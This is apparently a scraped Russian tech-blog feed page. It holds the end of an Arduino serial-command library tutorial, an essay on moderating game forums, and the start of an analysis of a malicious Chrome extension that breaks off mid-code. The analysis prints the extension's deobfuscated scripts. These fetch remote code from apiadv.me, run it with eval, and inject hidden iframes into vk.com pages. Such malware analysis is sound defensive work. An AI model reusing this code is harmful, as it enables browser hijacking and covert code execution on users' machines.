      babbler_serial_set_packet_filter и babbler_serial_setup — всё, как и раньше
      — в babbler_serial_set_input_handler отправляем указатель на функцию handle_input_simple (из babbler_simple.h, вместо собственного handle_input) — она делает всю необходимую работу: разбирает входную строку по пробелам, отделяет имя команды от параметров, выполняет команду, записывает ответ.

      void setup() {
          Serial.begin(9600);
          Serial.println("Starting babbler-powered device, type help for list of commands");
          
          babbler_serial_set_packet_filter(packet_filter_newline);
          babbler_serial_set_input_handler(handle_input_simple);
          //babbler_serial_setup(
          //    serial_read_buffer, SERIAL_READ_BUFFER_SIZE,
          //    serial_write_buffer, SERIAL_WRITE_BUFFER_SIZE,
          //    9600);
          babbler_serial_setup(
              serial_read_buffer, SERIAL_READ_BUFFER_SIZE,
              serial_write_buffer, SERIAL_WRITE_BUFFER_SIZE,
              BABBLER_SERIAL_SKIP_PORT_INIT);
      }
      
      

      Главный цикл без изменений:
      void loop() {
          // постоянно следим за последовательным портом, ждем входные данные
          babbler_serial_tasks();
      }
      
      

      Прошиваем, открываем Инструменты>Монитор порта, вводим команды, получаем ответы:
      <b>]help --list</b>
      help ping
      <b>]ping</b>
      ok
      <b>]help</b>
      Commands: 
      help
          list available commands or show detailed help on selected command
      ping
          check if device is available
      <b>]help ping</b>
      ping - manual
      NAME
          ping - check if device is available
      SYNOPSIS
          ping
      DESCRIPTION
      Check if device is available, returns "ok" if device is ok
      <b>]help help</b>
      help - manual
      NAME
          help - list available commands or show detailed help on selected command
      SYNOPSIS
          help
          help [cmd_name]
          help --list
      DESCRIPTION
      List available commands or show detailed help on selected command. Running help with no options would list commands with short description.
      OPTIONS
          cmd_name - command name to show detailed help for
          --list - list all available commands separated by space
      

      Добавление собственных команд


      И, наконец, добавление собственной команды так, чтобы её можно легко вызывать по имени. Для примера добавим две команды:

      ledon (включить лампочку) и
      ledoff (выключить лампочку)

      для включения и выключения светодиода, подключенного к выбранной ножке микроконтроллера.

      Здесь всё без изменений:

      #include "babbler.h"
      #include "babbler_simple.h"
      #include "babbler_cmd_core.h"
      #include "babbler_serial.h"
      
      // Размеры буферов для чтения команд и записи ответов
      #define SERIAL_READ_BUFFER_SIZE 128
      #define SERIAL_WRITE_BUFFER_SIZE 512
      
      // Буферы для обмена данными с компьютером через последовательный порт.
      // +1 байт в конце для завершающего нуля
      char serial_read_buffer[SERIAL_READ_BUFFER_SIZE+1];
      char serial_write_buffer[SERIAL_WRITE_BUFFER_SIZE];
      

      Номер ножки светодиода:
      #define LED_PIN 13
      

      А вот и сразу полезный код — для каждой команды должна быть определена функция с параметрами:

      reply_buffer — буфер для записи ответа
      reply_buf_size — размер буфера reply_buffer (ответ должен в него уместиться, иначе сообщить об ошибке)
      argc — количество аргументов (параметров) команды
      argv — значения аргументов команды (первый аргумент всегда имя команды, всё по аналогии с обычной main)

      Вариант для ledon:

      /** Реализация команды ledon (включить лампочку) */
      int cmd_ledon(char* reply_buffer, int reply_buf_size, int argc=0, char *argv[]=NULL) {
          digitalWrite(LED_PIN, HIGH);
          
          // команда выполнена
          strcpy(reply_buffer, REPLY_OK);
          return strlen(reply_buffer);
      }
      

      Структура babbler_cmd_t для регистрации команды: имя команды и указатель на её функцию:
      babbler_cmd_t CMD_LEDON = {
          /* имя команды */ 
          "ledon",
          /* указатель на функцию с реализацией команды */ 
          &cmd_ledon
      };
      

      Руководство для команды — структура babbler_man_t: имя команды, краткое описание, подробное описание.
      babbler_man_t MAN_LEDON = {
          /* имя команды */ 
          /* command name */
          "ledon",
          /* краткое описание */ 
          /* short description */
          "turn led ON",
          /* руководство */ 
          /* manual */
          "SYNOPSIS\n"
          "    ledon\n"
          "DESCRIPTION\n"
          "Turn led ON."
      };
      

      Всё то же самое для ledoff:
      /** Реализация команды ledoff (включить лампочку) */
      int cmd_ledoff(char* reply_buffer, int reply_buf_size, int argc=0, char *argv[]=NULL) {
          digitalWrite(LED_PIN, LOW);
          
          // команда выполнена
          strcpy(reply_buffer, REPLY_OK);
          return strlen(reply_buffer);
      }
      
      babbler_cmd_t CMD_LEDOFF = {
          /* имя команды */ 
          /* command name */
          "ledoff",
          /* указатель на функцию с реализацией команды */ 
          /* pointer to function with command implementation*/ 
          &cmd_ledoff
      };
      
      babbler_man_t MAN_LEDOFF = {
          /* имя команды */ 
          /* command name */
          "ledoff",
          /* краткое описание */ 
          /* short description */
          "turn led OFF",
          /* руководство */ 
          /* manual */
          "SYNOPSIS\n"
          "    ledoff\n"
          "DESCRIPTION\n"
          "Turn led OFF."
      };
      
      

      Регистрируем новые CMD_LEDON и CMD_LEDOFF вместе с уже знакомым CMD_HELP и CMD_PING, аналогично руководства.
      /** Зарегистрированные команды */
      extern const babbler_cmd_t BABBLER_COMMANDS[] = {
          // команды из babbler_cmd_core.h
          CMD_HELP,
          CMD_PING,
          
          // пользовательские команды
          CMD_LEDON,
          CMD_LEDOFF
      };
      
      /** Количество зарегистрированных команд */
      extern const int BABBLER_COMMANDS_COUNT = sizeof(BABBLER_COMMANDS)/sizeof(babbler_cmd_t);
      
      /** Руководства для зарегистрированных команд */
      extern const babbler_man_t BABBLER_MANUALS[] = {
          // команды из babbler_cmd_core.h
          MAN_HELP,
          MAN_PING,
          
          // пользовательские команды
          MAN_LEDON,
          MAN_LEDOFF
      };
      
      /** Количество руководств для зарегистрированных команд */
      extern const int BABBLER_MANUALS_COUNT = sizeof(BABBLER_MANUALS)/sizeof(babbler_man_t);
      

      Сетап и главный цикл без изменений.
      void setup() {
          Serial.begin(9600);
          Serial.println("Starting babbler-powered device, type help for list of commands");
          
          babbler_serial_set_packet_filter(packet_filter_newline);
          babbler_serial_set_input_handler(handle_input_simple);
          //babbler_serial_setup(
          //    serial_read_buffer, SERIAL_READ_BUFFER_SIZE,
          //    serial_write_buffer, SERIAL_WRITE_BUFFER_SIZE,
          //    9600);
          babbler_serial_setup(
              serial_read_buffer, SERIAL_READ_BUFFER_SIZE,
              serial_write_buffer, SERIAL_WRITE_BUFFER_SIZE,
              BABBLER_SERIAL_SKIP_PORT_INIT);
              
              
          pinMode(LED_PIN, OUTPUT);
      }
      
      void loop() {
          // постоянно следим за последовательным портом, ждем входные данные
          babbler_serial_tasks();
      }
      

      Прошиваем, открываем Инструменты → Монитор порта, вводим команды, наблюдаем за лампочкой:

      image

      Вживую с железкой:

      Пример команды с параметрами на самостоятельную работу.

      Комментарии (0)

        Let's block ads! (Why?)

        [Перевод] Шишки и грабли Android-разработчика за 2 года

        Вы не супергерои: пожалуйста, прекратите ставить себе задачи, с которыми вы пока что не справляетесь

        [Из песочницы] О мотивации, эффективности и контроле времени — взгляд с неочевидной стороны

        Принимая PHP всерьёз

        Математика в JavaScript

        Security Week 45: обход двухфакторной авторизации в OWA, перехват аккаунтов GMail, уязвимость в OpenSSL

        пятница, 11 ноября 2016 г.

        No way back: Почему я перешел с Java на Scala и не собираюсь возвращаться

        Отчет о результатах «Моего круга» за октябрь 2016, и самые популярные вакансии месяца

        Игровые форумы: инструкция к использованию для комьюнити-менеджера и разработчика

        Форум как явление берет свое начало со времен Древнего Рима. Еще тогда жители города собирались на центральной площади для дискуссий и обсуждения насущных вопросов. С тех пор суть форума осталась неизменной. Но теперь не нужно никуда идти и вести беседы под открытым небом – достаточно лишь подключиться к сети и обсудить интересующий вопрос на соответствующем форуме. Это в полной мере применимо к индустрии игр. Где, как не на форуме, игрок может обсудить, как выполнить сложное задание или получить редкий айтем.

        Сегодня мы расскажем, зачем нужно развивать игровой форум.

        ЗАДАЧИ ФОРУМА


        1. Через форум вы можете эффективно доносить позицию компании до пользователей. Недостаточно просто разместить пост-новость об обновлении или о любом другом важном событии – крайне важно вести диалог с игроками: объяснять, порой убеждать, а главное слушать, стараться понять, что ими движет.
        2. Форум – это то место, где вы можете быстро собрать и передать разработчикам отзывы игроков.
        3. Форум – это источник идей по улучшению продукта.

          Как эффективно работать с предложениями по улучшению?

          • Нужно отлично знать свой продукт, чтобы понимать, как то или иное нововведение повлияет на развитие игры, поэтому необходимо активно играть каждый день.
          • Если вы не понимаете сути предлагаемого изменения, уточняйте, расспрашивайте. Не нужно писать «Я передам ваше пожелание...», если не разобрались. Даже если идея откровенно нереализуемая, то вы своими расспросами проявите внимание и уважение к игроку, а значит, как минимум, получите +1 лояльного пользователя, как максимум, поймете причину проблемы, которую можно решить другим способом. К тому же, к вашему разговору могут подключиться другие игроки, которые сами могут сказать, что предложение лучше не реализовывать.
          • Не бойтесь говорить «нет», но делайте это правильно. Если вы начнете отвечать на идеи игроков и при этом будете аргументировать свои ответы, в частности ответы-отказы, то значительно повысите лояльность. Даже отказывая, важно объяснить, почему нельзя осуществить то, что просит человек.

        4. На форуме создается большое количество контента, который можно применять для вовлечения игроков. Мемы в игровом сеттинге, полезные советы, арты, фотографии, скриншоты битв, даже слухи – всё это при желании можно использовать для погружения пользователей в игровой мир. Задача комьюнити-менеджера заключается в том, чтобы создавать благоприятную атмосферу на форуме и стимулировать желание игроков делиться интересным контентом.

        WHO IS WHO? Как важно знать своих пользователей


        Изучите аудиторию, выделите несколько типов игроков (условно, конечно же):
        • лояльные,
        • мятежники,
        • молчуны,
        • конструктивные,
        • эксперты.

        Вы можете придумать свои типы, ведь на каждом форуме есть какие-то уникальные персонажи. Следующий шаг – найдите помощников. Особенно это актуально, если ваш форум развивается быстро. Бесспорно, хорошие модераторы получаются из лояльных игроков, но не стоит забывать, что высший пилотаж – это превращение мятежника в адвоката бренда или же модератора.

        С игроками нужно общаться, не бояться переходить на более близкий уровень, говорить на темы, которые касаются не только игры, но и каких-то личных интересов, вроде хобби и музыки. При этом не стоит забывать о соблюдении определенной дистанции, другими словами, нужно найти золотую середину.

        Игрок должен видеть в комьюнити-менеджере своего советника, товарища, парламентера, но всё же в первую очередь представителя компании, которому можно доверять. Ошибочным является подход, когда комьюнити-менеджер позиционирует себя как «своего человека» и частенько становится на сторону игроков, соглашается с их мнением, перестает отождествлять себя с компанией, решения которой могут не нравиться сообществу. Да, это безопасный подход, но отнюдь не лучший.

        Тип игроков «мятежники» можно разбить на несколько подтипов, так как эта категория требует особого внимания.

        Мятежники всегда должны быть у вас на виду, не игнорируйте их, но и не уделяйте им слишком много внимания, так как это только укрепит их уверенность в себе и может настроить общественное мнение против вас и компании в целом.

        Мятежники бывают разными, и мотивы у каждого из них тоже могут отличаться.

        Например, мятежники по природе, сварливые люди, которые любят быть в центре внимания. Иногда они не являются экспертами в игре, но могут позиционировать себя таковыми. Скорее всего, у них часто возникают конфликты с другими игроками, даже с теми, кто разделяет их мнение по конкретному вопросу. С такими людьми нужно вести себя спокойно, ни при каких условиях не выходить из равновесия. Даже если игроки начинают оскорблять вас, действуйте строго по уставу, то есть опираясь на правила форума. Никогда – вообще никогда – не отзывайтесь плохо об этих людях в разговоре с другими игроками, даже близкими. Во-первых, это по умолчанию нехорошо, во-вторых, когда-то это может обернуться против вас.

        Бывают мятежники-эксперты – уважаемые в сообществе люди, которые достигли определенных успехов в игре и считают себя лучше остальных. Конечно же, они уверены, что разбираются в игре лучше вас. Часто от них можно услышать, что вы «в глаза не видели продукт», в нашем случае игру, и «только и знаете, что давать очевидные советы». Как бы прискорбно это не звучало, такие игроки стараются унижать других, и вас в том числе. Если вы замечаете их чрезмерную активность, то внимательно прочитайте всё, что они пытаются донести. Во-первых, оперируйте фактами, во-вторых, не бойтесь делать замечания, если человек переходит рамки дозволенного, – опять-таки, всё строго по правилам форума. И в-третьих, не пытайтесь доказать, что вы умнее.

        Иногда появляются мятежники по убеждению. К этому типу можно отнести людей, которые бунтуют, потому что им по-настоящему что-то не нравится и они искренне хотят добиться какой-то цели во благо себе, и более того – во благо сообщества. Чаще всего такие люди появляются тогда, когда решение компании идет вразрез с мнением игроков. Они вступают в диалог с администрацией форума, пытаются найти компромисс. Если компромисс невозможен, начинается более активная фаза деятельности таких мятежников – они максимально активизируют сообщество, настраивают людей против компании. Опасность в том, что, как правило, такие люди уважительно относятся к сообществу и пользуются определенным авторитетом, соответственно, могут привлечь максимальное количество людей с разными взглядами на свою сторону. С такими игроками нужно быть откровенным и честным, необходимо максимально ясно донести позицию компании до мятежника и его сторонников. Если есть группа, в которой выдвинуты требования бойкотирующих, или создана петиция, потрудитесь ее досконально изучить и дать максимально подробный ответ. После того как официальный ответ компании будет опубликован, продолжайте вести диалог с игроками, слушайте их.

        Не следует злоупотреблять властью: бан в группе – это последнее, что нужно делать. А если и делаете это, не забудьте уведомить участника, какие правила он нарушил. Перед этим убедитесь: вы сделали всё возможное, чтобы вразумить игрока, не прибегая к крайним мерам.

        Конструктивные игроки активны в игре, в сообществе и в неофициальных группах. Они предпочитают говорить по делу, оперируют фактами и ожидают получить такой же ответ. Чаще всего они пишут в группе только тогда, когда им действительно что-то нужно узнать. С такими людьми нужно быть максимально конкретным, не «лить воду».

        Эксперты – это люди, которые давно знакомы с игрой, постоянно интересуются обновлениями и малейшими изменениями в механике; они делают расчеты, разрабатывают стратегии и любят поучать других. Как правило, занимают топовые позиции в своих кланах. Репутация очень важна для таких людей, поэтому никогда не нужно унижать их, даже если они неправы. С экспертами, как и с конструктивными игроками, нужно говорить максимально по делу, обдумывая каждую фразу и уделяя внимание деталям.

        Самая большая категория участников сообщества – это молчуны, которые при определенных условиях могут «мутировать» в любой другой тип обитателей форума. Они смотрят на вас, читают новости, ваши ответы и, возможно, делают это внимательнее, чем все остальные. Поэтому каждый ответ, который вы даете, это ответ не какому-то одному человеку, а всем посетителям форума, тем, кто заходит в группу, читает новости и на основании ваших комментариев судит о самой компании.

        Предположим, вы видите злобный пост от постоянно недовольного человека, который всё равно будет недоволен, независимо от того, что вы напишете. Стоит ли тратить время на объемный ответ? Да, стоит! Постоянно жалующийся игрок так и останется при своем мнении (скорее всего), но ваш ответ увидят сотни других игроков. Помните: вы пишете для них всех.

        Несколько полезных советов при написании ответа


        • Не отвечайте никогда агрессией на агрессию.
        • Проявляйте уважение к каждому участнику сообщества.
        • Слушайте, что вам говорят. Серьезно, большинство проблем возникают, когда комьюнити-менеджер не вникает в то, что написал игрок, особенно если написана «поэма» на пару страничек.
        • Никогда не обсуждайте игроков с другими посетителями форума. Особенно в негативном свете. Даже если возникла ситуация, когда группа лояльно настроенных к вам игроков обсуждает какого-то буйного, неприятного или просто на тот момент агрессивного форумчанина, даже в закрытом чате, – никогда не говорите плохо о нем. Друзья могут стать недругами через месяц-другой, и ваши насмешки станут достоянием общественности, что повредит вашей же репутации. Будьте сдержанными и проявляйте больше доброжелательности к людям.
        • Никогда не говорите и даже не намекайте на то, что игрок врет, особенно на публике. Игроки не лгут никогда, они могут только заблуждаться.

        БУРЯ


        Итак, речь пойдет о бойкоте.

        Причины возникновения бойкота могут быть разными, например:

        • недостаточное внимание комьюнити-менеджера к игрокам;
        • обновление, на которое игроки отреагировали негативно;
        • баги, при этом пользователи понятия не имеют о том, на какой стадии находится решение той или иной проблемы;
        • скука, уныние на форуме, что может вызывать желание «размяться»;
        • личные причины, поражения в игре и т. д.

        Профилактика
        • Общение с игроками, проявление интереса к насущным вопросам, быстрые и качественные ответы.
        • Подготовка игроков к обновлениям: опросы, тизеры, детальное изучение новых фич и обязательный инструктаж модераторов.
        • Сообщение о том, какие баги были устранены, а какие еще в процессе починки.
        • Развлечение пользователей, конкурсы, обсуждение аналитики.
        • Посещение неофициальных сообществ.

        Что делать?


        • Осмотреться, понять, кто может поддержать вас, и выяснить, откуда «дует ветер».
        • Попытаться наладить контакт с зачинщиками. Параллельно с этим вести работу с остальными участниками форума.
        • Разобраться в причинах бойкота и проанализировать, что можно сделать в данной ситуации.
        • Четко и развернуто ответить на вопросы и претензии игроков.
        • Проанализировать причины сложившейся ситуации. Оценить ущерб и приступить к восстановлению порядка.

        Каждый бойкот – это испытание на прочность, ведь именно в таких критических ситуациях вы увидите, кто из модераторов-игроков дал слабину, кто не так уж верен слову, а кто остался с вами и стоял до конца. Не забывайте, что мятежники – по-прежнему верные фанаты вашей игры, просто у них нет настроения, что-то их огорчило. Не воспринимайте их как врагов – это поможет настроиться на позитивный лад.

        Очень надеюсь, что моя статья будет полезна вам в работе или хотя бы натолкнет на размышления. Любите ваших игроков, принимайте их такими, какими они есть, при этом старайтесь не пропускать негатив через себя. Включите «режим Будды» и делайте свою работу хорошо. Умение оставаться спокойным и не теряться в сложных ситуациях – это именно то, что делает из обычного человека крутого комьюнити-менеджера – профессионала с железными нервами и большим сердцем.

        «Рыбаки знают, как грозно море, как страшны шторма. Но это не мешает им поднимать паруса». Винсент Ван Гог

        Спасибо за внимание. Всем добра!

        Комментарии (0)

          Let's block ads! (Why?)

          [Из песочницы] Анализ вредоносного расширения Google chrome

          Добрый день, сегодня я расскажу про одного зловреда, пойманного на просторах Интернета. Данный зловред прикидывается расширением для браузера Google Chrome. При заражении видоизменяет ярлык, дописывая команду загрузки расширения (--load-extension “путь до зловреда“). То есть, можно удалить расширение в браузере, но при следующем запуске оно установиться вновь.

          Давайте заглянем «под капот» расширения:
          Структура расширения
          Manifest.json
          Bg.js
          bgok.js
          hash.js
          bgvk.js
          123.png
          Папки _locales и CSS

          Все исходники расширения доступны по ссылке github .
          Manifest.json
          {
          "manifest_version": 2,
          "name": "Go fire",
          "permissions": [ "<all_urls>", "*://*/*", "unlimitedStorage", "storage", "tabs", "activeTab" ],
          "version": "3.8",
          "background": {
          "persistent": true,
          "scripts": [ "hash.js", "bg.js" ]
          },
          "content_scripts": [ {
          "css": [ "css/bgvk.css" ],
          "js": [ "bgvk.js" ],
          "matches": [ "*://vk.com/*", "*://*.vk.com/*" ]
          }, {
          "css": [ "css/bgok.css" ],
          "js": [ "bgok.js" ],
          "matches": [ "*://odnoklassniki.ru/*", "*://http://ift.tt/2fIxkcI", "*://ok.ru/*", "*://*.ok.ru/*" ]
          } ],
          "default_locale": "ru",
          "description": "__MSG_appDesc__",
          "icons": {
          "128": "128.png"
          }
          }
          
          


          Из файла манифеста понятно что точка входа фаил bg.js, файлы bgvk.js и bgvk.css подключаются для сайта vk.com. По аналогии фалы bgok.js и bgok.css подключаются для сайта odnoklassniki.ru. Все файлы скриптов обфусцированы.

          Описание bg.js


          Скрипт тянется в 3 места:
          h**p://apiadv.me/hashes/apis.json
          h**p://apiadv.me/js/vkapi.js
          h**p://apiadv.me/js/okapi.js

          По первой ссылке получаем файлик json следующего содержания:
          [{"hashv":"13961f856524885207d8613a375ac2a9","hasho":"661f0a082c3153025f315eed43632dad"}]
          
          

          Далее малварь тянет скрипт по этому урлу: h**p://apiadv.me/js/vkapi.js. затем идет сравнение его хеша (для получения хеша файла как раз и нужен скрипт hash.js) со значением hashv из json (правильно, а то вдруг недруги скомпрометируют!). Далее происходит сохранение полученного скрипта в chrome.storage.local под значением bxGZABwi.

          Аналогично тянется скрипт h**p://apiadv.me/js/okapi.js — он сохраняется под значением tQFzTAwV. Дальнейший анализ будет только для сайта vk.com, для сайта ok.ru происходит аналогичный сценарий.

          Рассмотрим поближе bgvk.js


          bgvk.js
          var IlTPXFOys = 'IlTPXFOysLy9hcGlhZHYubWUvanMvdmthcGkuanM=IlTPXFOya'; // "http://apiadv.me/js/vkapi.js"
          var j = '//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js';
          var s = document.createElement('script');
          s.type = 'text/javascript';
          s.src = j;
          document.head.appendChild(s);
          function LnDgSyNS() {
              var b = new XMLHttpRequest();
              b.open('GET', j, true);
              b.onreadystatechange = function () {
                  if (b.readyState == 4 && b.status === 200) {
                      eval(b.responseText);
                  }
                  ;
              };
              b.send();
              var t = 0;
          
              function g() {
                  if (window.jQuery) {
                      jQuery.getScript(atob(IlTPXFOys.slice(9, -9)) + '?' + Math.floor((Math.random() * 1e+10) + 1));
                  } else {
                      t++;
                      if (t < 100) {
                          setTimeout(g, 100);
                      }
                      ;
                  }
                  ;
              };
              g();
          };
          chrome.storage.local.get({bxGZABwi: ''}, function (syncdata) {
              if (!chrome.runtime.lastError) {
                  if (syncdata.bxGZABwi != '') {
                      var i = document.createElement('script');
                      i.type = 'text/javascript';
                      i.innerHTML = syncdata.bxGZABwi;
                      document.head.appendChild(i);
                  } else {
                      LnDgSyNS();
                  }
                  ;
              } else {
                  LnDgSyNS();
              }
              ;
          });
          
          


          Тут происходит попытка загрузить данные из chrome.storage.local и добавление их к элементу head страницы. В случае отсутствия данных скрипт пытается забрать их из сети по той же ссылке.
          Так что же к нам так усердно пытаются загрузить?

          Рассмотрим файл vkapi.js


          При переходе по url получаем обфусцированный файл. С помощью jsbeautifier.org приводим его к вполне читаемому виду:
          vkapi.js
          
          
          if (document['getElementById']('ads_left') != null) {
              document['getElementById']('ads_left')['innerHTML'] = ''
          };
          if (document['getElementById']('left_ads') != null) {
              document['getElementById']('left_ads')['innerHTML'] = ''
          };
          var vkui = 1;
          if (document['getElementById']('side_bar_inner') == null) {
              vkui = 2
          };
          
          function A() {
              var _0xb14bx3 = '';
              var _0xb14bx4 = 'abcdefghijklmnopqrstuvwxyz_';
              for (var _0xb14bx5 = 0; _0xb14bx5 < 32; _0xb14bx5++) {
                  _0xb14bx3 += _0xb14bx4['charAt'](Math['floor'](Math['random']() * _0xb14bx4['length']))
              };
              return _0xb14bx3
          }
          var asrcfrmn = A();
          
          function SETSRCFRM(_0xb14bx8) {
              var _0xb14bx9;
              if (_0xb14bx8 == 1) {
                  _0xb14bx9 = 'side_bar_inner'
              } else {
                  _0xb14bx9 = 'side_bar'
              };
              if (document['getElementById'](_0xb14bx9) != null && document['getElementById'](asrcfrmn) == null && document['getElementById'](asrcfrmn + '_a') == null && document['getElementById']('quick_login') == null) {
                  var _0xb14bxa = document['createElement']('div');
                  _0xb14bxa['setAttribute']('id', asrcfrmn);
                  _0xb14bxa['setAttribute']('style', 'position:relative;');
                  if (_0xb14bx8 == 1) {
                      $('#' + _0xb14bx9 + ' ol')['after'](_0xb14bxa)
                  } else {
                      $('#' + _0xb14bx9)['append'](_0xb14bxa)
                  };
                  var _0xb14bxb = 'display:none;padding:0px;padding-top:0px;border:none;width:130px;height:1080px;overflow:hidden;z-index:100;position:static;';
                  var _0xb14bxc = document['createElement']('iframe');
                  _0xb14bxc['setAttribute']('style', _0xb14bxb);
                  _0xb14bxc['setAttribute']('id', asrcfrmn + '_a');
                  _0xb14bxc['setAttribute']('marginwidth', '0');
                  _0xb14bxc['setAttribute']('marginheight', '0');
                  _0xb14bxc['setAttribute']('scrolling', 'no');
                  _0xb14bxc['setAttribute']('frameborder', '0');
                  $('#' + asrcfrmn)['append'](_0xb14bxc);
                  var _0xb14bxd = document['createElement']('iframe');
                  _0xb14bxd['setAttribute']('style', _0xb14bxb);
                  _0xb14bxd['setAttribute']('id', asrcfrmn + '_b');
                  _0xb14bxd['setAttribute']('marginwidth', '0');
                  _0xb14bxd['setAttribute']('marginheight', '0');
                  _0xb14bxd['setAttribute']('scrolling', 'no');
                  _0xb14bxd['setAttribute']('frameborder', '0');
                  $('#' + asrcfrmn)['append'](_0xb14bxd)
              };
          
              function _0xb14bxe() {
                  var _0xb14bxe = ['aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9zZWFyY2hwbHVzLm1lL3ZhZHZhL3ZhZHZyY2EuaHRtbA=='];
                  return _0xb14bxe[Math['floor'](Math['random']() * _0xb14bxe['length'])]['substr'](3)
              }
          
              function _0xb14bxf(_0xb14bx10, _0xb14bx11, _0xb14bx12, _0xb14bx13, _0xb14bx14, _0xb14bx15) {
                  if (_0xb14bx13 == 0 && _0xb14bx14 == 0) {
                      $(_0xb14bx10)['animate']({
                          opacity: _0xb14bx12
                      }, _0xb14bx11, function () {
                          if (_0xb14bx15 == 1) {
                              $(_0xb14bx10)['removeAttr']('src')
                          }
                      })
                  };
                  if (_0xb14bx13 != 0 && _0xb14bx14 == 0) {
                      $(_0xb14bx10)['animate']({
                          opacity: _0xb14bx12
                      }, _0xb14bx11, function () {
                          $(_0xb14bx10)['css']({
                              "display": _0xb14bx13
                          });
                          if (_0xb14bx15 == 1) {
                              $(_0xb14bx10)['removeAttr']('src')
                          }
                      })
                  };
                  if (_0xb14bx13 == 0 && _0xb14bx14 != 0) {
                      $(_0xb14bx10)['animate']({
                          opacity: _0xb14bx12
                      }, _0xb14bx11, function () {
                          $(_0xb14bx10)['css']({
                              "position": _0xb14bx14
                          });
                          if (_0xb14bx15 == 1) {
                              $(_0xb14bx10)['removeAttr']('src')
                          }
                      })
                  };
                  if (_0xb14bx13 != 0 && _0xb14bx14 != 0) {
                      $(_0xb14bx10)['animate']({
                          opacity: _0xb14bx12
                      }, _0xb14bx11, function () {
                          $(_0xb14bx10)['css']({
                              "display": _0xb14bx13
                              , "position": _0xb14bx14
                          });
                          if (_0xb14bx15 == 1) {
                              $(_0xb14bx10)['removeAttr']('src')
                          }
          
                      })
                  }
              }
              var _0xb14bx16 = document['getElementById'](asrcfrmn + '_a');
              var _0xb14bx17 = document['getElementById'](asrcfrmn + '_b');
              if (_0xb14bx16['style']['display'] == 'none') {
                  _0xb14bx16['setAttribute']('src', atob(_0xb14bxe()));
          
                  function _0xb14bx18() {
                      document['getElementById'](asrcfrmn + '_a')['onload'] = null;
                      if (_0xb14bx16['getAttribute']('src') != null) {
                          $('#' + asrcfrmn + '_b')['css']({
                              "z-index": '100'
                              , "position": 'static'
                          });
                          $('#' + asrcfrmn + '_a')['css']({
                              "z-index": '101'
                              , "position": 'absolute'
                              , "opacity": 0
                              , "display": 'block'
                              , "top": 0
                              , "left": 0
                          });
                          _0xb14bxf('#' + asrcfrmn + '_a', 200, 1, 0, 'static', 0);
                          _0xb14bxf('#' + asrcfrmn + '_b', 200, 0, 'none', 0, 1)
                      }
                  }
                  document['getElementById'](asrcfrmn + '_a')['onload'] = _0xb14bx18
              } else {
                  _0xb14bx17['setAttribute']('src', atob(_0xb14bxe()));
          
                  function _0xb14bx19() {
                      document['getElementById'](asrcfrmn + '_b')['onload'] = null;
                      if (_0xb14bx17['getAttribute']('src') != null) {
                          $('#' + asrcfrmn + '_a')['css']({
                              "z-index": '100'
                              , "position": 'static'
                          });
                          $('#' + asrcfrmn + '_b')['css']({
                              "z-index": '101'
                              , "position": 'absolute'
                              , "opacity": 0
                              , "display": 'block'
                              , "top": 0
                              , "left": 0
                          });
                          _0xb14bxf('#' + asrcfrmn + '_b', 200, 1, 0, 'static', 0);
                          _0xb14bxf('#' + asrcfrmn + '_a', 200, 0, 'none', 0, 1)
                      }
                  }
                  document['getElementById'](asrcfrmn + '_b')['onload'] = _0xb14bx19
              }
          }
          var winact;
          var eventct = 1;
          
          function RI() {
              IRF = setInterval(function () {
                  if (winact == 'active') {
                      SETSRCFRM()
                  }
              }, 120000)
          }
          
          function FR() {
              setTimeout(function () {
                  eventct = 0
              }, 3500)
          }
          
          function CL() {
              if (eventct == 0) {
                  eventct = 1;
                  SETSRCFRM();
                  clearInterval(IRF);
                  RI();
                  FR()
              }
          }
          
          function RLA() {
              $('#left_ads, #ads_left')['remove']();
              setTimeout(RLA, 30000)
          }
          
          function MAINSTART() {
              SETSRCFRM(vkui);
              FR();
              RI();
              RLA();
              var _0xb14bx21 = $('#side_bar_inner ol')['height']() - 8;
              if (_0xb14bx21 > 6) {
                  $('#side_bar_inner')['css']('height', _0xb14bx21)
              };
